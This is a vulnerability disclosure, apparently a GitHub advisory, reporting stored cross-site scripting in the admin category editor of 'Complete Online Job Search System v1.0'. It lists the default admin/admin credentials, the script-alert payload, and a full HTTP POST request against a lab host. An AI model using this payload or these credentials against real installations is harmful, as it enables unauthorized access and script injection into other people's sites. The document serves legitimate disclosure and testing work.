xysasa Update XSS.md History

1 contributor

38 lines (27 sloc) | 1.35 KB

Complete Online Job Search System v1.0 has Cross-Site Scripting (XSS)

Vul_Author: Yingsha Xu

The password for the backend login account is: admin/admin

vendors: https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/

Vulnerability File: /eris/admin/category/controller.php

Vulnerability location: /eris/admin/category/controller.php?action=edit, CATEGORY

[+] Payload: <script>alert(1)</script>

Tested on Windows 10, phpStudy

There is an example with alert:

```
POST /eris/admin/category/controller.php?action=edit HTTP/1.1
Host: 10.10.10.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefo
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: http://10.10.10.134
DNT: 1
Connection: close
Referer: http://10.10.10.134/eris/admin/category/index.php?view=edit&id=24
Cookie: PHPSESSID=vf7g6ffd2s4el0u0gia3elgg14
Upgrade-Insecure-Requests: 1

CATEGORYID=24&CATEGORY=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&save=
```